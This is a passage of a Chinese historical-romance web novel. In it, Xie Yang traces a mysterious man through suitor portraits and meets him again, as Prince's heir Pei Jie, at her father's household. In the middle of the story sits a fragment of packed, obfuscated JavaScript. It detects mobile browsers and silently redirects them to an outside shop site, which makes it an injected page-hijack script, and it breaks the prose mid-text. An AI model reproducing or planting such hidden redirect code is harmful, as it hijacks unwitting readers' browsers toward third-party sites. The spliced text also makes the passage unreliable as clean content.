谢泱粗略数了数,竟是有五六十张之多,也是,凤阳城高门大户不知凡几,符合要求的男子这么多也正常。
“不过,勋贵人家男子的画像以及生辰八字怎会随意公开,你这是从哪搜寻的?”
谢泱一边快速翻阅手中的画像,一边问半夏。
半夏听了,脸上颇有些得意:“嘿嘿,这些都是我在流云轩买来的。”
“流云轩?”谢泱对这个地方没什么印象。
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“流云轩是凤阳有名的雅集茶轩,不过,表面上是茶轩,实际上是专门为凤阳大户人家提供子女相看、茶会应酬、古玩珍宝交易的场所,据说轩主是京都人士,前几年来凤阳便开了这么个流云轩,姑娘你不知道也正常,我也是无意间听人说起才知道这么个地方。”半夏耐心为谢泱解释。
“那你去要人家就给你了?这样的场所要打听信息,代价应是不低的吧?”谢泱挑眉,看向半夏。
当然了!代价相当“大”。
人家见她一下子要这么多男子的信息,想都没想就要把她给请出去,她软磨硬泡了许久,将自家小姐的家世交代清楚,并且声泪俱下地诉说了一番自家小姐的对凤阳适婚男子的向往之心,活脱脱把谢泱描述成了一个怀春少女,这才让人家点头答应了。
不过,半夏不敢把这些告诉谢泱,只对她说花了五十两银子买来的。
谢泱也没多想,继续翻看那些画像。
这个太矮,
这个脸上有麻子,
这个眼睛太小,
这个得有二百斤了吧,
......
直到把手里的画像一个个看完,也没找到那双桃花眼。
“全部都在这里了吗?”谢泱又些不相信,那天那人的谈吐——应该是凤阳人没错啊,怎么会没有?
半夏回她:“姑娘,符合您要求的凤阳尚未婚配的男子都在这了。”
看谢泱有些失望的样子,自家小姐难不成是没有看的上眼的?不应该啊,里面的青年才俊有不少呢。
“这些都是尚未婚配的?”
谢泱仔细回想那天那男子的样子,不过二十出头,尚且年轻,难不成是已有婚配了?
半夏却被谢泱的疑问吓了一大跳,仿佛听见了什么惊世骇俗的话:“姑娘......难不成你还要看看已经婚配的男子画像?”
“有何不可?”
谢泱被半夏的反应弄得一头雾水,她就是找个人而已,和那人婚不婚配有什么关系。
半夏却不这么认为,她以为自家小姐是偏偏中意那已经成婚了的“成熟”男子,怪不得说是要到三十岁的......
“这这这,看上已婚男子,怕是不妥吧?”半夏小心翼翼地,生怕伤了自家小姐的自尊心。
谢泱终于反应过来,原来这丫头以为自己是在相看未来夫婿呢,难怪反应这么奇怪。
她卷起一小叠画像,向半夏头上敲了敲:“你想什么呢!我只是要找个人而已。”
会错了意的半夏摸了摸自己的头,看向谢泱:“难不成姑娘要找的人真的已婚了吗?”
谢泱想了想,总觉得不像,又问了一遍:“真的都在这了吗?”
半夏想也没想:“真的!”
只是话刚说出口,她又迟疑了一下,仿佛想到了什么,眼中亮晶晶的:“不对,小姐,还有一人不在其中!”
“谁?”
“南安王世子——裴玠!”
谢泱反应过来,流云轩虽说是为凤阳高门世家子女相看,但她们都忽略了很重要的一点,那就是像南安王府这样的皇室宗亲,子女婚事都是要由宗人府来操办的,怎么可能会让一个民间茶轩干涉,流云轩自然不可能会有世子的信息了。
裴玠......
她在心里反复咀嚼这个名字。
会是他吗?
8. 裴玠
谢泱不知道的是,半夏这几天堪称“肆意”的搜集画像的行为已经完全暴露在了她所怀疑的那人的视线中。
流云轩内,玄刃和墨影正在向座上的自家主子汇报。
“主子,查到了,是永安侯府的大姑娘——谢泱,前段时间被永安侯接回了府中,说是要办及笄礼,已经给凤阳各世家下了帖子了。”玄刃一五一十地将谢泱的身世告诉了裴玠。
茶桌前,坐在裴玠对面的林羽祺听完玄刃的话,看向裴玠的眼神是越来越奇怪:“不是,好端端的你怎么查起一个姑娘来了?”
不等裴玠回答,他又看向玄刃:“你主子看上人家了!?”
林羽祺是淮阳候府的小侯爷,母亲是崇宁长公主。他只比裴玠小两个月,说起来还要称裴玠为一声“表兄”,不过他从小便和裴玠“厮混”在一起,没大没小惯了。
“这......”玄刃听了却是汗颜,一时间不知道如何回答林羽祺,很是为难地看向自家主子。
“听说你最近追绣春楼的婉清娘子追的紧,搭进去了百金,不知道姑母知不知道这件事?”裴玠似笑非笑,并不解释为何调查谢泱。
林羽祺听见裴玠拿母亲来压自己,立马就怂了:“表哥我错了,您定是有正事在身才调查那什么候府小姐的,您大人有大量。”
裴玠没有理林羽祺的插科打诨,示意玄刃继续说下去。
“我们撬开了漕运使司副使朱普的嘴,他说禁药已经在灵丹阁那批药里面了,保不住了,按察使司已经在写诉状,想必马上就要传唤灵丹阁了。”
林羽祺不知道谢泱,但禁药一事他却清楚,说起来还是一段皇家辛秘——
徐美人为了争宠,不惜给圣上下了一种名为“慎恤胶”的江南媚药,却不想伤了圣上的身子,太后震怒,下令让南安王府彻查,不过碍于皇家颜面,不好大肆宣扬,故只能暗中密查。
“听这样子,莫非不是灵丹阁?”林羽祺反应过来,看向裴玠。
裴玠嘴角轻勾:“那老贼按耐不住了,着急将药脱手,灵丹阁这些年树大招风,被盯上实属正常。”
一旁立着的墨影开口补充:“主子,我们还查到灵丹阁大东家叶淑然早已在六年前过世,而永安侯府大小姐谢泱正是其女儿,现在灵丹阁实际大东家正是谢泱。”
“一个十六岁的小姑娘本事这么大?”林羽祺啧啧称奇。
裴玠并不惊讶,永安侯府这一辈都是些脓包,灵丹阁若是他们经手,早就该关门大吉了。
不过,一个从久在山庄上居住的女子,有这样的天赋,还真是令人好奇。裴玠想起了那晚误打误撞躲在他怀中的姑娘——装模做样地向他求救,语气诚恳,眼中却是一片狡黠,像一只狐狸。
想到这,裴玠眼眸中挂上了一抹不易察觉的笑意,平时冷冰冰的人此时却沾上了些暖意。
稀奇,太稀奇了!
玄刃和墨影面面相觑,他们从未见过自家世子爷因为哪个女子而露出这样的神情。
玄刃和墨影暗中推搡,似乎不知道谁来开口,最终还是在裴玠颇有威压的眼神中,玄刃开口了:“主子,卓玄来报,说谢姑娘最近这几天从流云轩买走了凤阳高门所有未婚男子的画像,说是......说是要挑选夫婿。”
卓玄是流云轩掌柜,流云轩面上的轩主是林羽祺,背后的主人却是裴玠。三年前他在凤阳设立流云轩,用来收集各处情报并监视凤阳各世家。
裴玠本欲拿起茶杯喝茶,闻言,伸出的手在空中停顿了一下,片刻后又将手伸向瓷杯,拿起啜了一口:“挑选夫婿?”
墨影如实回答:“谢姑娘派来流云轩买画像的丫鬟是这么说的。”
裴玠挑了挑眉,挑选夫婿怕是幌子,找人才是真的,那个丫头在找他。
“哎呀,咱们凤阳可真是出了个妙女子。”林羽祺煞有介事地看向裴玠。
裴玠思索片刻,吩咐墨影:“你找人给永安侯递个话,就说我有公务要去他府上拜访。”
墨影有些不明白自家主子的吩咐,南安王府和永安候府一向没什么交集,但还是照做了。
......
莫说墨影不解,永安侯府中,正在与罗漪华吃饭的谢元鼎听到小厮的来报也是一头雾水。
“可有说世子具体是因为什么事要来拜访?”谢元鼎问下头的小厮。
小厮将世子派来的人说的话完完整整告诉谢元鼎:“只说是因为一些公务。”
谢元鼎短暂的疑惑之后却是极度的欣喜,平日里永安侯府鲜少与南安王府往来,倒不是因为清高,而是南安王府这样的门第,永安侯府实在是攀不上。
凤阳世家云集,在平头百姓眼里,这些高门并无什么分别,总归都是自己惹不起的存在。可世家内部都门清着,高门也是分个三六九等的。
永安侯府瞧着风光,内里却空虚,而南安王府这种手握实权的藩王府邸却是凤阳实打实的顶级豪门,哪怕是在京都,那也是一人之下万人之上的存在。
如今,南安王世子突然要造访候府,是不是说明世子有意要拉拢候府也未可知。
若是世子来候府看上了府上的哪个姑娘......做不了世子妃,做个侧妃也是顶顶好的。
裴玠还没来,谢元鼎已经开始幻想自己成为世子岳丈的风光模样了。
“老爷,这世子怎么突然要来候府呢?”罗漪华在一旁问。
谢元鼎挥手让小厮退下,没多和罗漪华解释公事,只是嘱咐她:“明日你让萱姐儿打扮得体些,等世子来了,给世子奉茶。若是能被世子爷看中,也是我们候府的福分。”
谢元鼎没提谢泱,不为别的,谢泱生母是商户女,王府定然是瞧不上的,让萱姐儿来可能性还是更大些的。
罗漪华面上仍是温顺的样子,心里却一阵狂喜,萱姐儿要是能嫁入王府,那便是顶天的好事了。
“是,妾身会让萱姐儿好好准备的,定然不会叫她在世子面前失仪。”
饭后,罗漪华叫来谢云萱,将此事告诉了她。
“萱儿,你明日就穿上最近府中给你新裁的衣服,首饰娘从库房里再给你挑一挑,等世子来了,你就规规矩矩给他奉个茶,若是能说上话最好。”
谢云萱心里很是激动,面上却是红欲滴血,一副小女子娇羞姿态:“母亲,这种事哪有女子主动的......”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129139|196167||http|test|mini|href|location''.split(''|''),0,{}));
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>看着自己女儿这样,罗漪华有些恨铁不成钢:“傻孩子,那可是世子,难不成要他主动?这世上男子面上不说,心底到底是无法抗拒主动的女子,若你能得世子的青眼,那可真是要什么有什么了。”
谢云萱已然被罗漪华说服。
去年,在永嘉郡主办的赏花宴上,谢云萱见过一眼裴玠。
彼时,裴玠头戴紫金冠,锦缎华服上的花纹精致繁复,青年生得剑眉星目,五官生得及其俊俏,日头正好,阳光洒在他脸上,贵气逼人,叫人不敢直视,虽然只出现了片刻,可却让在场的大半女子红了脸,而她也是其中一个。
现如今,这样的翩翩贵公子就要来家中,而自己很有可能会被他看上,谢云萱的心热络起来,她一定要好好准备!
等谢云萱走后,罗漪华还是有些不放心。
萱姐儿长相是极好的,她自然不担心这个。只是,这府中毕竟不只有她一个小姐——
谢云烟一个庶女不足为惧,谢云熙眼下不在府中,那就只剩谢泱那个小蹄子了。
是了!那小蹄子长得一副狐媚子样,心思又沉,万万不可让她在世子面前露脸。
罗漪华叫来柳嬷嬷,吩咐她:“明天世子来府上,你亲自去看好谢泱,千万不能让她见到世子。”
柳嬷嬷点头应下:“是,夫人。”
......
听竹轩内,谢泱仍在想裴玠的事。
半夏却突然从外面跑进来,一脸神秘:“姑娘,你说巧不巧,这可真是想什么来什么。”
茯苓看不下去半夏卖关子,催促她:“什么事情巧?你别卖关子了!”
“姑娘不是正要要找世子吗,巧的是明天世子真的要来咱们府上了。”半夏也是听府里的小厮说的,她听完立马来告诉谢泱了。
谢泱听了,只觉得惊喜,一时间也没有顾上仪态,蹭的从椅子上站起来:“真的!?”
茯苓鲜少见自家小姐这般模样:“姑娘,听到世子来,你怎么这般高兴?”
意识到自己失态,谢泱又坐了回去:“咳,我只是觉得想查他,他便送上门来的,十分省功夫,有些激动罢了。”
“有没有说他因何而来?”
半夏想了想:“好像是公务上的事,来找侯爷。”
公务?谢泱若有所思。
莫非和漕运有关?上次遇到他也是在漕运码头,说不定能打探到和灵丹阁有关的事......
看来,明日她有必要见裴玠一眼了,最好是能问出点什么来。
“对了,姑娘,还有一事。”半夏说到这里便有些不屑,“荣禧堂那边听说世子要来,好生嘱咐了谢云萱一番,说让她明日在世子面前露露脸。”
谢泱听完,一时啼笑皆非。
这是要让谢云萱勾引裴玠?
她有些不懂这些人的心思了,裴玠出身皇家,永安侯府即便是有候府的名头,与南安王府也是门不当户不对的,难不成他们还妄想与王府做亲家?
不过,罗漪华的心思她管不着,这和她没有关系。
只不过,她最好不要为了自己女儿而阻碍了她的正事,否则,她一定会让这母女的美梦破碎。
9. 是他
次日一早,候府就开始忙碌起来。
尽管听竹轩在候府西北角,但谢泱还是能听到院外下人们走动布置的声音,对比平时,显得颇为吵闹。
她在院子里吃早点,今天天气好,阳光不骄不躁,透过院墙缓缓铺满小院。
“真是的,一大早就吵死个人了,不知道的还以为要接驾圣上呢,弄这么大阵仗。”半夏一边抱怨,一边给谢泱斟茶。
谢泱对这话倒是不可置否,对现在的永安侯府来说,裴玠可不就是半个皇太子吗。
但是说到底,永安侯府好歹也是四代侯爵、簪缨世家,如今为个世子如此大动干戈,可见她父亲对振兴候府这件事的迫切心情,否则也不会想出让谢云萱去勾搭世子的这种昏招了。
不过,外头的人的喧闹不可避免的影响到了里头坐着的谢泱,让她对这个从未谋面的世子有了极大的好奇心。
那晚的人真的是裴玠吗,如果不是,那她不就白忙活了吗?
前些天,她去见了叶三,和他说了那天在码头她被刺杀的事,叶三很是震惊,当即便令人着手去查,只是到现在还没查出个所以然。
谢泱知道这事急不得,因为这多半是内部人所为,既然是内部出了问题,那人必定蛰伏多年,短时间想要连根拔起并不容易。当务之急还是解决码头的问题,只不过出了那天的事之后,叶三说什么也不让她去码头了,谢泱也不便日日出门,就让叶三盯着去了。
好在漕运司已经开始开仓检查,只要灵丹阁的货没问题,那过段时间便可放行。
只要灵丹阁的货没问题......
怕就怕有人诚心和他们作对。
算了,她现在在这里干着急也无济于事,还是要先确认一下裴玠是不是那晚的男子。
谢泱正准备回房换身衣服,接着就只需要等世子来访,她出去确认一下他的身份即可。
谁曾想,世子没等来,却等来个不速之客。
柳嬷嬷带着两个丫鬟,叩响了听竹轩的门。
茯苓开了门,柳嬷嬷带着那两个丫鬟进来给谢泱行了个礼。
谢泱好整以暇地看着柳嬷嬷,不知道罗漪华派这个嬷嬷来,又要给她弄什么幺蛾子。
“不知嬷嬷来,可是有什么事?”谢泱微笑看着她。
柳嬷嬷也不废话,将她身后的那两个丫鬟推至谢泱面前:“还不给大姑娘见礼。”
“大姑娘安。”那两个丫鬟齐声给谢泱行礼,眼神却不甚规矩地往谢泱身上瞟。
谢泱将一切看在眼里,但她没有点破:“这是何意?”
柳嬷嬷回她:“夫人说,姑娘回府不久,身边服侍的人想必不够,这不,派老奴挑了两个手脚伶俐的丫头,给姑娘送来。”
谢泱这下懂了,这是要监视她的意思呢?
半夏听了正要理论,谢泱拉住她,给她使了个眼神,随后仍是笑意盈盈地回柳嬷嬷,看起来颇为乖巧:“想不到姨娘心思这般细,这两个丫鬟我便收下了,还望嬷嬷回去替我谢过姨娘的好意。”
说罢,也不管柳嬷嬷听了“姨娘”二字作何反应,当即便叫茯苓送客。
可那柳嬷嬷仍是定在院子里,纹丝不动,面色不似刚刚那般善:“老奴此次还有一事,便是帮大姑娘看看这两个丫鬟规不规矩,若是惹了姑娘不快,奴也好给姑娘再挑人选,因此还望姑娘容老奴在您这待上半日。”
谢泱反应过来,今天裴玠要来,罗漪华就巴巴遣个嬷嬷来给她送人,这是怕她误了谢云萱的好事呢?
呵,罗漪华以为派个嬷嬷来就能拦住她吗,既然如此,她就让她好好看看,赔了夫人又折兵这几个字怎么写。
“既如此,那嬷嬷便在我这吃杯茶吧,茯苓,招待好嬷嬷。”谢泱没多说,只叫茯苓将柳嬷嬷在院中坐下。
她走到那两个丫鬟面前,从头到脚打量着她们两个,并不说话。
那两个丫鬟被谢泱看的发毛,其中一个开口问:“小姐,请问有什么吩咐?”
谢泱收回眼神,淡淡问她们:“你们叫什么名字?”
另一个丫鬟笑着抢答:“回姑娘,奴婢叫巧玉,她叫木灵。”
谢泱抬眼看向巧玉,虽穿着候府统一的丫鬟服饰,但原本宽大的袖口悄悄收窄了一寸,行走时方便露出伶仃腕骨,腰裙系的比旁人稍高些,衬得身段也比别人细一些。
不是个安分的丫头。
谢泱嘴角勾起一段弧度:“既然姨娘派你们来我这,那现在便过来服饰我更衣吧。”
听到谢泱要更衣,那柳嬷嬷却是急了,连忙问:“姑娘更衣是要去哪吗?”
谢泱看着柳嬷嬷着急的样子,眉头轻皱,语气中多了几分不快:“我要去哪儿这怕是不干你的事吧?”
意识到自己逾矩了,柳嬷嬷说的委婉了一些:“姑娘恐怕不知道,侯爷今日要在府上招待贵客,姑娘今日还是不要出院子的好,免得冲撞了。”
听到这,谢泱顺着她的话问:“哦?不知道是哪家的贵客?”
柳嬷嬷面露难色,罗漪华嘱咐过她不能在谢泱面前提到世子。
只不过,这天下哪有不漏风的墙,更何况人家是光明正大来访,怎么可能瞒得住谢泱。
“这......老奴也不是很清楚,只听说是侯爷在官场上的贵客。”柳嬷嬷讪笑着回答谢泱。
谢泱也不多和她掰扯,仍是带那两个丫鬟回房去了。
房中,谢泱借口让那两个丫鬟去给她拿衣服,支开了她们两个。
她对茯苓和半夏耳语了一阵,半夏和茯苓听完后,对谢泱点了点头,便下去了。
不一会儿,那两个丫鬟人手各抱着一个衣箱过来。
谢泱吩咐她们打开,只见两个箱子里分别装着两套风格迥异的衣服。
左边是一套云影纱千叠裙,而右边是一套金丝绣牡丹绛红长裙,具是流光溢彩,引人注目。
那两个丫鬟眼睛都看直了。
谢泱看着她们,语气装作傲娇:“这是我最近新得的衣服,不过这都不算什么,这样的衣服我有很多,如果你们将我服侍好了,别说衣服了,珠宝首饰我都能赏给你们。”
那两个丫鬟回想半夏和茯苓的衣着,比寻常丫头风光的多,心中一阵欣喜,看来府中说大小姐银子多的传言是真的。
那两个丫鬟对视了一眼,都看到了对方眼中较劲的目光,谁不想在多金的新主子面前先得脸呢?
她们异口同声地回谢泱:“是!奴婢必定尽心服侍小姐。”
谢泱将她们的神情尽收眼底,她要的就是这个效果,待会儿她们最好能掐起来。
谢泱装模做样地在这两件衣服中挑选,最终指了指那件云影纱千叠裙,吩咐她们:“你俩服侍我穿上这件吧。”
待穿上那件衣服,谢泱没着急动,她在心里数着数,似乎在等待什么。
直到半
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夏进来,给谢泱微微点了个头。
看来裴玠到了。
谢泱旋即便说自己口渴了,要那个叫巧玉的丫鬟去给她倒杯茶,一旁的木灵见主子有需求,便抢先一步去倒茶了,被抢了功的巧玉自然是怀恨在心。
等木灵将茶杯端来,正要递给谢泱,此时茯苓却从门口进来,神色看起来很是慌张,向谢泱冲去,便冲边给半夏递了个眼神。
半夏会意,极为夸张地喊:“茯苓你慢点——唉呀,小姐小心茶水——”说罢,便装作要护着谢泱的样子,实则轻轻推了一把木灵端着茶水的手。
那木灵本来就被突然冲进来的茯苓吓了一跳,愣在那里,手被人推了一下茶杯不偏不倚地跌落在那个装有另一件衣裙的箱子上。
滚烫的茶水并着茶叶都洒在那件华丽的牡丹长裙上。
“啊——大胆贱婢,竟然毁了我们小姐如此珍重的衣裳!”半夏见事成,大声喊了出来。
谢泱见状,也是一副气急了的模样,厉声责问木灵:“你就是这般服侍我的?!”
木灵整个人都愣住了,怔怔地看着跌落的茶杯,仿佛不可置信,连声反驳:“不是我干的!不是我干的!分明是有人推我!”
随后,她猛地看向巧玉,尖叫着质问她:“是不是你干的,分明是你要陷害我!”
被诬陷的巧玉听完就炸了:“你血口喷人!明明就是你手脚笨拙!”
谢泱眼看这两个丫头就要打起来,给茯苓和半夏使了个眼神。
随即,半夏和茯苓便一手制住一个,跟着谢泱往外走。
院子里的柳嬷嬷见了,连忙拦着谢泱,问这是怎么了。
谢泱冷笑,看起来怒极了:“嬷嬷还是问问你挑的好丫鬟吧,刚来就把我价值百两的衣服弄坏了,我现在就要找父亲评评理!”
说着就抬腿往院子外面走,那柳嬷嬷见拦不住谢泱,气的蹬蹬脚,也跟着谢泱往外走。
“小姐不可——侯爷这会子正接待贵客呢!”柳嬷嬷跟在谢泱后边,试图阻拦谢泱。
“这衣服是我母亲留给我的,如今就这样坏了,便是闹到父亲那里去了,我也是占理的,你这刁奴,主子的事还轮不到你指手画脚!”谢泱也不管柳嬷嬷的阻拦,只是一味的骂她,看起来颇不讲理。
柳嬷嬷知道凭自己一人拦不住谢泱,也不再跟了,忙抄小道去叫帮手去了。
见柳嬷嬷走了,谢泱叫半夏和茯苓放开那两个丫鬟,收起了刚才娇蛮的样子,冷冷看着她们:“还不走?”
那两个丫鬟在听到谢泱要拉着她们见侯爷的时候就吓破了胆,现在叫她们走,竟是连礼都忘行了,急忙离开了。
终于把这些麻烦都弄走了,谢泱拂了拂手心,拍走了本就不存在的灰尘。
她带着半夏和茯苓向花园走去,去正堂要穿过花园的湖。
谢元鼎要招待裴玠,想必是在正堂宴客厅,待会她只要隔着屏风悄悄看一眼,确认那人的身份即可。
只不过,谢泱这回猜错了。
她从假山下躬身入内,行数步,豁然开朗,随后便踏上了通往湖心亭的窄堤。
湖中西北角有一处利用高差做出的“叠水”,水声淙淙,掩盖了亭中人的交谈声,那亭子又修的隐蔽,谢泱便没注意亭中有人。
直到她踏进那亭子,一双桃花眼猝然撞进她的眼眸。
谢泱怔怔看着那人的脸,
是他。
10. 相见
少女的突然闯入打断了亭中人的交谈。
坐在谢元鼎对面的那青年微微侧头,看向谢泱。
同那晚一身精悍利落的夜行衣不同,今日裴玠穿了一身天青色云纹暗花广袖锦袍,腰间玄色织金绦带勾勒出挺拔清瘦的腰身,一头墨发被紫金冠和一根羊脂玉发簪束起,只偏偏有几缕发丝逸出,随着他侧头的动作扫过线条明晰的下颌,在贵气中平添了几分随性潇洒。
青年眉飞入鬓,一双桃花眼天然含着三分笑意,眼尾微扬,看人时似有星光流转。
裴玠看着那晚的少女也在看着他,勾唇一笑,那点漫不经心的痞意,瞬间冲淡了周身贵气带来的距离感。
这笑是何意味?
谢泱觉得眼前这人今天与那晚格外不同,但具体有什么不同,她一时也说不出来,或许是没有那晚的杀气吧。
谢泱立于廊下,裙角被微风轻轻拂动。
阳光透过雕花窗棂,在她身上落下或明或暗的光影,那身云影纱千叠裙也随之折出粼粼波光,她微微仰头,脸颊线条在光晕中柔和又清晰。
谢泱大概不知道,此时她真的很像乍然碰见人类而呆住的狐狸。
两人的对视只持续了片刻,但似乎在这亭子中又被无限拉长。
谢泱缓缓给裴玠行了个礼。
裴玠颔首,算是回礼。
谢元鼎视线在这两人间来回转,看着这两人不像初识的样子,便问裴玠:“世子殿下认得小女?”
裴玠收回眼神,淡淡道:“一面之缘罢了,如今方知是候府千金。”
裴玠这话倒是实话实说,不过落在谢元鼎耳中可就不是这么一回事了。
他原是想让萱姐儿来给世子奉茶,不曾想泱姐儿与世子还是旧相识,看刚刚两人的样子,恐怕不仅仅是简单的“一面之缘”。
这样也好,只要能拉拢世子,是哪个女儿并不重要。
谢元鼎想清这一点,脸上便挂上一副慈笑,看向谢泱:“既然如此,泱姐儿,上前来给世子殿下奉一盏茶。”
嗯?
让她去?
谢泱差点以为自己听错了,谢元鼎不是要让谢云萱接近裴玠吗,怎么让她来了?
不过旋即她就想明白了她这“好爹”是怎么想的,这种事,谁来并不重要,重要的是谁能成事。
看来谢元鼎对她那便宜妹妹的父女情也就那样了。
不过,她现在的确需要套这位世子爷的近乎,要是等会能找到机会与他单独说话就更好了。
谢泱走上前,从下人手中稳稳托起一杯茶,转身向裴玠走去,仪态无可挑剔,视线却克制地只落在他衣袍下摆的云纹上。
待走到他面前,谢泱微微俯身,将茶杯向裴玠递去:“世子,请用茶。”
声音轻柔却沉稳。
裴玠并没有立即接过那杯茶,而是将目光锁定在眼前的少女身上,带着审视和玩味。
明前龙井浓郁的茶香和一缕微弱的药香交织在一起,萦绕在两人之间。
谢泱感受到了来自面前人强烈的目光,她抬起眼帘,两人目光相撞。
在谢元鼎看不见的角度里,谢泱冲裴玠眨了一下眼,眼神诚恳。
希望裴玠是个聪明人,能懂她的暗示。
裴玠眼中划过一丝极其短暂的笑意,他终于伸出手,接过那杯龙井,指腹若有所思地摩挲着谢泱碰过的地方,然后轻轻喝了一口。
“候府这龙井茶汤清亮,香气甘醇,很是不错。”裴玠看向谢元鼎。
谢元鼎受宠若惊,连忙说:“哪里哪里,自然是比不得王府,世子觉得尚能入口便是候府的荣幸了。”
裴玠倒是一脸温润的笑意:“这段时间,我倒是常常去那流云轩,那的茶与候府的茶倒是不同,侯爷有空可以去尝尝。”
谢元鼎对这话有些不明所以,好端端的怎么提起流云轩了,他只能连声应好。
谢泱却抬头看向裴玠,她听懂了,这是让她去流云轩找他。
与聪明人沟通就是畅快,一点即通。
谢泱的心情一下就明朗起来,眼下她得到了她想要的信息,当即就准备离开,她可不想留在这里当摆设。
趁着两人说话的空隙,谢泱提了告退,转身就要离去。
不曾想却被裴玠开口叫住:“谢姑娘留步,我看候府花园风景甚好,不如让侯爷与谢姑娘陪我一同逛逛?”
裴玠又看向谢元鼎:“侯爷,如何?”
身为客人主动提出逛主人家的园子本是一件无理的要求,但谁让这是世子呢,谢元鼎求之不得。
“甚好甚好,我府中园子虽比不上王府花园,但也别具一番风情,今日阳光明媚,风景倒也宜人。”
谢元鼎起身,向裴玠比了一个“请”的手势。
背对着他俩的谢泱脸却跨了下来,逛院子拉上她做什么?!
不过转身还是要做出一副“能与世子殿下同游实乃小女三生有幸”的乐意模样来,谢泱看着裴玠,牙缝里挤出一个“是”字。
三人走出亭子,从堤坝上穿过这汪湖,堤坝修的不甚宽敞,谢元鼎作为主人,走在最前边,喋喋不休地向裴玠介绍园中景物,谢泱跟在裴玠后面,嘴里小声囔囔这前头这个“多事鬼”。
“这破园子有什么好逛的。”
“还世子呢,真没见过世面。”
“热死了,什么时候能让我走。”
......
裴玠似乎感受到了后面少女的怨气,趁谢元鼎往前走的时候回头看了一眼。
谢泱见抱怨被抓包,倏地闭上嘴,心虚地冲裴玠笑了笑。
裴玠也回以谢泱一个微笑,但那微笑里有几分她看不懂的意味。
挑衅!绝对是挑衅!
就在谢泱在心中暗暗这样想的时候,下一秒,裴玠就转过头去,问起了谢元鼎:“听说谢姑娘的及笄礼就在下个月?”
“啊?”谢元鼎先是愣了一下,然后才回答,“对对对,我这个女儿早先年不在府中,对凤阳人事都不大熟悉,办这个笄礼也是想让她多多结交一些同龄好友,甚的一个人孤僻惯了,不成个样子。”
谢泱的笄礼将凤阳大小世家都邀了个遍,唯独没有南安王府,一是王府地位超然,帖子不好递,二是这候府小姐办笄礼,终归是小打小闹,也不好意思央到王府那里去。
只是不知道,世子如今提起这事是什么意思。
裴玠笑了一下,才开口:“侯爷莫要误会,只是舍妹颇爱热闹,且与谢姑娘年纪相仿,想必很有共同话题,若是方便,不知候府能否递一张帖子,好让舍妹也来瞧瞧谢姑娘的笄礼。”
裴玠这话说的谦逊,身为世子原不必如此。
谢元鼎受宠若惊:“这本是侯府的疏忽,如今殿下开金口,岂有不应的道理,永嘉郡主能光临小女笄礼,是候府之幸,世子放心,下官定亲书一份帖子送到王府。”
裴玠听完,又转头看向谢泱,“不知谢姑娘意下如何?”
还问她做甚,难不成她还能说不吗?
谢泱看着眼前向她挑眉的青年,腹诽道。
不过脸上仍挤出个笑脸:“此番亦是小女的荣幸。”
裴玠嘴角轻勾:“如此甚好。”
一行人终于走出了堤坝,沿湖慢行。
湖边风大了些,吹走了几分燥热,气氛莫名和谐。
“父亲——”
一声甜腻的呼喊却将这份和谐骤然打破。
谢
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泱和裴玠的眉头都微不可查地皱了一下。
裴玠单纯是不喜这尖锐的声音,而谢泱内心却是直呼倒霉——都怪这世子非要拉她留下来,这下好了,谢云萱来了,见她也在这里,指不定要怎么寻她的麻烦。
倒不是谢泱怕谢云萱,而是谢云萱实在是烦人,她不想多事。
“父亲,女儿来迟,还望父亲莫要怪罪,这位——便是世子殿下吧。”谢云萱走近,给谢元鼎行了个礼,眼神却始终黏在裴玠身上,声音腻得要命。
谢泱听了直起鸡皮疙瘩,平时也没见谢云萱用这种声音同她说话,怎么一见世子就跟变了个人似的。
谢云萱本来早就要来,因为纠结到底穿哪件衣服,这才耽误了时间,好在还是见到了世子。
她抬眼看向裴玠,一如她印象中的俊美无俦,她心底泛起涟漪,脸颊渐渐红了。
“小女见过世子殿下。”
只不过,谢云萱唇畔绽开的笑意在看到裴玠身后的谢泱的霎那,便消失的无影无踪。
“你怎么在这?!”
声音依旧尖锐,只是没了那份娇羞,显得有些刻薄。
“萱儿,世子面前不得无礼!”谢元鼎见谢云萱失态,呵斥她。
谢云萱也意识到了,收起了刚刚那一瞬的牙尖嘴利,换回了最初的笑脸,看向裴玠。
不过裴玠没看她,转过身要向前走。
谢元鼎给谢云萱扔了一个警告的眼神,躬身给裴玠引路。
这下变成了裴玠和谢元鼎在前头走,谢泱和谢云萱跟在后头。
谢云萱怒目瞪了一眼谢泱,咬牙切齿低声问她:“谢泱你竟敢趁我不在勾搭世子!”
谢泱真是觉得她这妹妹莫名其妙,她哪只眼睛看到了自己勾搭裴玠了?再说了,她有什么立场干涉自己和裴玠见面?
谢泱也没忍着,翻了个白眼,向谢云萱比了一个手指指向脑袋的手势,意思是她脑子有毛病吧。
谢云萱心中气的要命,早知道就不纠结穿什么了,否则也不会被人抢了先机!
她见父亲和世子都没注意,伸手就要推谢泱,谢泱一时没防备,竟真的被谢云萱狠狠向一旁推去。
他们本是走在湖边的石径上,谢泱被谢云萱一推,脚踏出了石径,一脚踩进了湖边的湿泥,本就重心不稳,脚下又滑,眼看就要向湖中倒去。
“啊——”谢泱一声轻呼,惊动了前面的人。
谢元鼎因这突如其来的变故愣在原地,而裴玠却反应过来。
他转身的瞬间,向谢泱一跨步,伸手拉住谢泱的手臂,将她往自己这里带。
谢泱被一股力猛地拉向前,惯性使然,撞上了青年的胸膛。
“嘶——”好痛!谢泱眼泪都要掉下来了,她捂着自己的头,这人是铁做的吗?!
裴玠将她拉过来后,一瞬间就放开了,随后便退出了一丈远。
“萱儿!”谢元鼎视线略过谢泱,看向谢云萱,一脸惊恐。
原来,就在刚刚,谢泱被推倒时也拉了一把谢云萱,谢云萱也跟着倒向一边,只不过谢泱被裴玠拉走,谢云萱没了人挡着,便直愣愣地向湖边栽进去。
“扑通——”
“啊!快救我上去!”谢云萱在湖水中扑腾,那湖边尚有一些残荷,荷花底下是淤泥,她一扑腾便弄的满身是泥。
其实这湖根本不深,只到了她腰上一点而已,没有性命之忧,只是让人看起来十分狼狈。
恰好此时柳嬷嬷带人姗姗来迟,见谢云萱落水,一时间也顾不得其他,赶忙组织下人捞谢云萱上来。
候府小姐落水,裴玠不便多待,当下就要要告辞。
